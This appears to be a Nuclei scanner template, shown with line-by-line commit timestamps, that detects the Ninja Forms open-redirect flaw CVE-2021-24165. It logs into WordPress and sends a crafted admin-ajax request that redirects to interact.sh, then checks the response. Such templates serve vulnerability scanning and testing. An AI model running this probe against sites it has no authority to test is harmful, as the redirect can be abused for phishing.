2022-08-06 16:54:58 +00:00
id : CVE-2021-24165
2022-02-12 16:33:19 +00:00
info :
name : Ninja Forms < 3.4.34 - Administrator Open Redirect
2022-04-18 07:04:09 +00:00
author : dhiyaneshDk,daffainfo
2022-08-10 08:08:03 +00:00
severity : medium
description : |
The wp_ajax_nf_oauth_connect AJAX action was vulnerable to open redirect due to the use of a user supplied redirect parameter and no protection in place.
2022-04-22 10:38:41 +00:00
reference :
- https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
2022-08-10 08:08:03 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24165
2022-08-25 08:56:24 +00:00
- https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24165
cwe-id : CWE-601
2022-08-27 04:41:18 +00:00
tags : cve,cve2021,wordpress,redirect,wp-plugin,authenticated,wp,wpscan
2022-02-12 16:33:19 +00:00
requests :
2022-02-15 11:10:56 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
2022-02-12 16:33:19 +00:00
2022-02-15 11:10:56 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
2022-04-18 07:04:09 +00:00
2022-02-15 11:10:56 +00:00
- |
2022-06-06 10:40:15 +00:00
GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
2022-02-15 11:10:56 +00:00
Host : {{Hostname}}
2022-04-18 07:04:09 +00:00
req-condition : true
2022-02-15 11:10:56 +00:00
cookie-reuse : true
2022-02-12 16:33:19 +00:00
matchers :
2022-04-18 07:04:09 +00:00
- type : dsl
dsl :
- 'status_code_1 == 302'
- 'status_code_2 == 302'
2022-06-06 10:40:15 +00:00
- "contains(all_headers_2, 'Location: https://interact.sh?client_id=1')"
2022-04-18 07:04:09 +00:00
condition : and